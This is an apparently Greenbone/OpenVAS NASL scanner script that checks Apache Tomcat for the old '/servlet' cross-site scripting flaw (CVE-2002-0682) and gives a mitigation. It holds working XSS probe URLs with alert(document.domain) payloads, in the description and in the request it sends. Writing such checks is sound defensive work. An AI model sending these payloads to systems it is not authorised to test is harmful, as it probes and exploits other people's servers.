Apache Tomcat '/servlet' XSS Vulnerability - Active Check

# SPDX-FileCopyrightText: 2002 Matt Moore
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:apache:tomcat";

# Also covers BugtraqID: 5194 (same Advisory ID#: wp-02-0008)

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11041");
  script_version("2025-04-11T15:45:04+0000");
  script_tag(name:"last_modification", value:"2025-04-11 15:45:04 +0000 (Fri, 11 Apr 2025)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2002-0682");
  script_name("Apache Tomcat '/servlet' XSS Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2002 Matt Moore");
  script_family("Web application abuses");
  script_dependencies("gb_apache_tomcat_consolidation.nasl", "cross_site_scripting.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("apache/tomcat/http/detected");

  script_xref(name:"URL", value:"https://tomcat.apache.org/security-4.html#Fixed_in_Apache_Tomcat_4.1.13,_4.0.6");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5193");

  script_tag(name:"summary", value:"Apache Tomcat is prone to a cross-site scripting (XSS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"By using the /servlet/ mapping to invoke various servlets /
  classes it is possible to cause Tomcat to throw an exception, allowing XSS attacks, e.g:

  tomcat-server/servlet/org.apache.catalina.servlets.WebdavStatus/SCRIPTalert(document.domain)/SCRIPT

  tomcat-server/servlet/org.apache.catalina.ContainerServlet/SCRIPTalert(document.domain)/SCRIPT

  tomcat-server/servlet/org.apache.catalina.Context/SCRIPTalert(document.domain)/SCRIPT

  tomcat-server/servlet/org.apache.catalina.Globals/SCRIPTalert(document.domain)/SCRIPT

  (angle brackets omitted)");

  script_tag(name:"solution", value:"The 'invoker' servlet (mapped to /servlet/), which executes
  anonymous servlet classes that have not been defined in a web.xml file should be unmapped.

  The entry for this can be found in the /tomcat-install-dir/conf/web.xml file.");

  script_tag(name:"solution_type", value:"Mitigation");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

host = http_host_name( dont_add_port:TRUE );
if( http_get_has_generic_xss( port:port, host:host ) )
  exit( 0 );

url = "/servlet/org.apache.catalina.ContainerServlet/<SCRIPT>alert(document.domain)</SCRIPT>";

req = http_get( item:url, port:port );
res = http_keepalive_send_recv( port:port, data:req );

confirmed = string("<SCRIPT>alert(document.domain)</SCRIPT>");
confirmed_too = string("javax.servlet.ServletException");

if( ( confirmed >< res ) && ( confirmed_too >< res ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );